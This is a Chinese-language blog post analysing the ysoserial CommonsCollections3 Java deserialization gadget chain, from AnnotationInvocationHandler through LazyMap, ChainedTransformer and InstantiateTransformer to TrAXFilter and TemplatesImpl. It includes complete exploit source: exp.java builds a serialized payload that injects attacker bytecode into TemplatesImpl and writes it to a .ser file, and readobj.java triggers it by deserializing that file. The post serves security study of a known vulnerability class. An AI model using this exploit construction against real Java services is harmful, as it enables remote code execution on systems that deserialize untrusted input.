java反序列化-ysoserial-除錯分析總結篇(3)
前言:
這篇文章主要分析commoncollections3,這條利用鏈如yso描述,這個與cc1類似,只是反射呼叫方法是用的不是invokeTransformer而用的是InstantiateTransformer,整個呼叫過程如下圖
利用鏈分析:
如上圖所示,入口點還是Annotationinvoationhandler的Entryset
此時將會呼叫membervalues.get,其中var4位entryset,而membervalues中儲存的為lazymap類的例項,即呼叫lazymap的get函式
即接著呼叫chainedTransformer來對key進行轉換
其中iTransformer中儲存了除了constantTransformer直接返回類,這裡使用的類是class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
接下來到了InstantiateTransformer的transformer函式,這裡面會拿到input對應類的引數型別為templates的建構函式,然後再例項化
接著一路跟到TrAXFilter的建構函式中,可以看到這裡實際上呼叫了templates.newTransformer,那我們知道templatesImpl的可以通過_bytecode
接下來的過程就不在敘述,就是templates類的利用
yso構造分析:
yso在這裡構造payload的時候,constantTransformer返回的是TrAxFilter類,然後再結合instantiateTransformer的transform函式可以拿到入口引數的建構函式,然後再例項化,例項化過程中將呼叫
TrAxFilter的建構函式,從而呼叫templates.newTransformer
exp:
exp.java
package CommonCollections3; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.functors.InstantiateTransformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; // //@Dependencies({"commons-collections:commons-collections:3.1"}) // public class exp { public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException { // //構造Templates物件 // TemplatesImpl tmp = new TemplatesImpl(); //rce程式碼塊的物件 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay = pool.get(payload.class.getName()); byte[] PayCode = pay.toBytecode(); Class clazz; clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field tf = clazz.getDeclaredField("_bytecodes"); tf.setAccessible(true); tf.set(tmp,new byte[][]{PayCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); HashMap InnerMap = new HashMap(); Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{tmp} ) }; ChainedTransformer chined = new ChainedTransformer(trans); Map outmap = LazyMap.decorate(InnerMap,chined); final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; con.setAccessible(true); InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap); Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han); //外層裝proxy代理 final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; out_con.setAccessible(true); InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser"); FileOutputStream fo = new FileOutputStream(file); ObjectOutputStream ObjOut = new ObjectOutputStream(fo); ObjOut.writeObject(out_han); } }
readobj.java
package CommonCollections3; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.lang.Runtime; public class readObj { public static void main(String[] args) { File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser"); try { ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file)); obj.readObject(); obj.close(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
這條利用鏈也是受jdk版本影響的,相較於cc2有侷限性,和cc1相類似,外層包裝相同,只是內部chained轉換鏈變